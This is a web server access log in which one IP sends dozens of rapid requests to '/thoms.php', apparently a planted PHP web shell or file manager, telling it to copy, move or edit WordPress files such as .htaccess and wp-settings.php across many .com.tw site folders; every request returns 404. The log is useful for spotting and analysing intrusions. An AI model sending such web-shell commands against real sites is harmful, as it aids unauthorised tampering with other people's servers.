45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?edit=readme.html&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=error_log&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=error_log&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
